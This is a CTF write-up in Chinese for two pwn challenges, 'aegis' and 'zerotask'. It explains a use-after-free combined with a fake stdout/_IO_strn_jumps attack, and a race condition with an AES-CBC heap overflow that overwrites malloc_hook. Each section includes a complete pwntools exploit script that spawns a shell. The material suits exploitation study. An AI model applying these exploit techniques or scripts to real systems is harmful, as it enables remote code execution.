// Every chunk of memory allocated by this allocator can be in one of 3 states:
// CHUNK_AVAILABLE: the chunk is in the free list and ready to be allocated.
// CHUNK_ALLOCATED: the chunk is allocated and not yet freed.
// CHUNK_QUARANTINE: the chunk was freed and put into quarantine zone.
enum {
CHUNK_AVAILABLE = 0, // 0 is the default value even if we didn't set it.
CHUNK_ALLOCATED = 2,
CHUNK_QUARANTINE = 3
}

此时我们free掉的chunk即可重新分配
其他情况下free掉chunk会设置为CHUNK_QUARANTINE,无法再次分配
因此找到重新分配的方法后,剩下的利用就十分简单了

Analyze EXP

如果我们首先分配一个0x10字节的note
我们可以首先利用溢出和一次secret设置shadow位将一个note的下一个临近chunk的size改为0x100000,即可将note在free后重新分配回来,此时对应原来note索引位置的chunk会保存新分配的0x10长度的note,然后即可利用uaf造成任意地址读写,任意地址读写后,很多种方法皆可get shell,这里选择伪造stdout结构体,因为2.27下libc会对vtable地址进行检测,这里利用_IO_strn_jumps来绕过检测执行_IO_str_finish,进而执行system(“/bin/sh”)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
from pwn import *
context.log_level="debug"
_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
return struct.unpack("<Q",data)[0]

def _u32(data):
return struct.unpack("<I",data)[0]

def _u16(data):
return struct.unpack("<H",data)[0]

def _u8(data):
return ord(data)

def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _p64(data):
return struct.pack("<Q",data)

def _p32(data):
return struct.pack("<I",data)

def _p16(data):
return struct.pack("<H",data)

def _p8(data):
return chr(data)

def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()

def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()

class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2800 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Current read pointer
self._IO_read_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3# End of get area
self._IO_read_base = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of putback+get area
self._IO_write_base =libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of put area
self._IO_write_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Current put pointer
self._IO_write_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # End of put area
self._IO_buf_base = bin_sh_addr # Start of reserve area
self._IO_buf_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3+1 # End of reserve area

# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area

self._markers = 0
self._chain = libc_addr-0x7ffff6e03000+0x7ffff71eea00

self._fileno = 1
self._flags2 = 0
self._old_offset = 0xffffffffffffffff # This used to be _offset but it's too small

# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0

self._lock = libc_addr-0x7ffff6e03000+0x7ffff71f08c0

if not _IO_USE_OLD_IO_FILE:
self._offset = 0xffffffffffffffff
self._codecvt = 0
self._wide_data =libc_addr-0x7ffff6e03000+0x7ffff71ee8c0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0xffffffff
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = libc_addr+0x3e7fa0-0x28 #_IO_strn_jumps->_IO_str_finish

def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf

def __str__(self):
return self.tostr()
def add(size,note,ID):
p.sendlineafter("Choice: ","1")
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",note)
p.sendlineafter("ID: ",str(ID))
def show(index):
p.sendlineafter("Choice: ","2")
p.sendlineafter("Index: ",str(index))
def delete(index):
p.sendlineafter("Choice: ","4")
p.sendlineafter("Index: ",str(index))
def update(index,note,ID):
p.sendlineafter("Choice: ","3")
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",note)
p.sendlineafter("ID: ",str(ID))
def secret(num):
p.sendlineafter("Choice: ","666")
p.sendlineafter("Number: ",str(num))
p=process("./aegis")
add(0x10,'a'*8,0xffffffffffffff)
update(0,'a'*15,0xffffffffffffff)
secret(0x0c047fff8004)
update(0,'a'*0x10+"\x02\xff\xff"+"\n", 0x1000000002ffffff)
delete(0)
add(0x10,p64(0x602000000018)[:7]+"\n",0)
show(0)
p.recvuntil("Content: ")
exec_addr=u64(p.recv(6).ljust(8,"\x00"))-0x114ab0
print hex(exec_addr)
#leak libc
puts_ptr=exec_addr+0x347e28
update(1,"aa",-1)
update(1,p64(puts_ptr)[:7]+"\n",0)
show(0)
p.recvuntil("Content: ")
libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x809c0
print hex(libc_addr)
#write stdout
bin_sh_addr=libc_addr+0x1b3e9a
payload=_IO_FILE_plus().tostr()+p64(0)+p64(libc_addr+0x4f440)
add(0x100,payload+"\n",0)
fake_stdout=0x611000000040
stdout_addr=libc_addr+0x3ec848
update(1,"a"*7,-1)
update(1,p64(stdout_addr)[:7]+"\n",exec_addr+0x114ab0)
#gdb.attach(p)
p.sendlineafter("Choice: ","3")
p.sendlineafter("Index: ","0")
p.sendafter("Content: ",p64(fake_stdout))
p.interactive()

Zerotask

Analyze

程序提供三个功能:

1
2
3
add:添加一个结构体并指明aes加密/解密
delete:清除指定task id的结构体
go:根据指定结构体的信息加解密</pre>

结构体通过链表在堆中存储
内部结构:

1
2
3
4
5
6
7
8
0->note_ptr
0x8->size
0x10->mode
0x14->size
0x34->IV
0x58->ctx_ptr
0x60->task_id
0x68->pre_struct

在go的过程中:

1
2
3
4
5
6
7
8
9
10
printf("Task id : ");
v1 = sub_1011();
for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
{
if ( v1 == *((_DWORD *)arg + 24) )
{
pthread_create(&newthread, 0LL, start_routine, arg);
return __readfsqword(0x28u) ^ v4;
}
}

调用一个新线程处理指定的结构体
跟进start_routine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u);
memset(qword_202030, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 88),
qword_202030,
&v1,
*(_QWORD *)v2,
(unsigned int)*(_QWORD *)(v2 + 8)) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL);
pthread_exit(0LL)

其首先获得需要处理的结构体指针,而后会sleep(2)(条件竞争)
因此我们可以在sleep时改写此结构体所在chunk,使其处理我们构造的fake_chunk
因为go操作的三次限制,所以我的思路:
leak heap:首先go启动,在sleep过程中进行free chunk等操作,用以获得目标地址因为free产生的堆指针
leak libc:首先构造一个unsorted bin,用以获得指向main arena+88处的指针,而后堆地址已知,利用leak heap相同方法伪造将要处理的chunk即可leak main_arena,即可leak libc
heap overflow:在加解密过程中,程序使用最开始分配的一个0x1010大小的chunk作存储,但是加解密时数据的长度由处理的结构体中的size决定,因此我们可以伪造一个结构体,其中encrypt_code_size大于0x1010,并且指向我们在内存中构造的一串数据,此数据code需要满足
aes_cbc_encrypt(code)=_the_answer_we_want,具体构造过程可以参照cbc模式下加密的特点:

CBC

构造方法参考我之前的文章:

1
https://kirin-say.top/2019/01/15/EDU%20CTF%202019/#0x02-encrypted-secret

最后选择利用溢出覆盖下一个chunk的size位为0x320,这时候free掉此chunk,此chunk下就会包含另一个0x80大小的chunk造成堆重叠,此时我们申请一个0x318大小的chunk改写包含的0x80的chunk的fd指针到malloc_hook,而后申请一个0x78大小的note,此note即会分配到malloc_hook,覆盖其为one_gadget,再次malloc即可get_shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
from Crypto.Cipher import AES
context.log_level="debug"
import time
def xor(a,b):
s=""
for i in range(len(a)):
s+=chr(ord(a[i])^ord(b[i]))
return s
def encrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.encrypt(message)

def decrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.decrypt(message)

def encrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.encrypt(message)

def decrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.decrypt(message)

def add(ID,mode,key,IV,dsize,note,go=False):
if go:
p.sendline("1")
else:
p.sendlineafter("Choice: ","1")
p.sendlineafter("Task id : ",str(ID))
p.sendlineafter("Encrypt(1) / Decrypt(2): ",str(mode))
p.sendafter("Key : ",key)
p.sendafter("IV : ",IV)
p.sendlineafter("Data Size : ",str(dsize))
p.sendafter("Data : ",note)
def delete(ID,go=False):
if go:
p.sendlineafter("Prepare...\n","2")
else:
p.sendlineafter("Choice: ","2")
p.sendlineafter("Task id : ",str(ID))
def go(ID):
p.sendlineafter("Choice: ","3")
p.sendlineafter("Task id : ",str(ID))
#p=process("./zerotask")
p=remote("111.186.63.201",10001)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
delete(1)
delete(1)
go(1)
delete(1,True)
add(1,1,"a"*32,"a"*16,0x70,"0"*0x60)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(8):
key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
message+=chr(int(i,16))
k=decrypt(message)[-24:-18]
heap_addr=u64(k.ljust(8,"\x00"))
chunk=heap_addr+0x555555758ee0-0x555555758280
ctx_addr=heap_addr-0x555555758280+0x00005555557585a0
#leak libc
print hex(heap_addr)
p.send("0"*0x10)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
delete(1)
delete(1)
add(10,1,"a"*32,"a"*16,0x50,"1"*0x50)
#gdb.attach(p)
add(2,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(1)
delete(1,True)
delete(2)
fake=p64(chunk)+p64(0x10)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(2):
key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
message+=chr(int(i,16))
k=decrypt(message)
libc_addr=u64(k[:8])
print hex(libc_addr)

fake_encode_addr=heap_addr-0x555555758280+0x555555758520
fake_addr=heap_addr-0x555555758280+0x555555759430
key1="1"*32
key2="1"*16
dest="\x00"*8+p64(0x320)
src="\x00"*0xf00+"\x00"*8+p64(0xf11)+"\x00"*0xf0
magic=encrypt(src)[-16:]
magic2=decrypt2(dest)
s1=xor(magic,magic2)
s2=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),dest)
s3=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),p64(fake_encode_addr)+p64(0x320))
fake_code="\x00"*0xf00+p64(0)+p64(0xf11)
add(5,1,"a"*32,"a"*16,0x200,"\x00"*0x200,True)
add(6,1,"a"*32,"a"*16,0xf00,"\x00"*0xf00)
delete(5)
add(7,1,"a"*32,"a"*16,0xf00,"\x00"*0xf0+s1+s2+s3+"\x00"*(0xf00-0x120))

ctx_addr=heap_addr-0x555555758280+0x000055555575b2d0
add(100,1,"1"*32,"1"*16,0x50,"0"*0x50)
add(9,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(10,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(10)
delete(10,True)
delete(9)
fake=p64(fake_addr)+p64(0x1030)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
time.sleep(2)
for i in range(3):
delete(1)
delete(10)
malloc_hook=libc_addr-0x7ffff776dca0+0x7ffff776dc30
one_gadget=libc_addr-0x7ffff776dca0+0x7ffff7382000+0x10a38c
add(200,1,"1"*32,"1"*16,0x318,"\x00"*0x2a0+p64(malloc_hook)+"\x00"*(0x318-0x2a8))
add(200,1,"1"*32,"1"*16,0x78,p64(one_gadget)+"\x00"*0x70)
#gdb.attach(p)
p.interactive()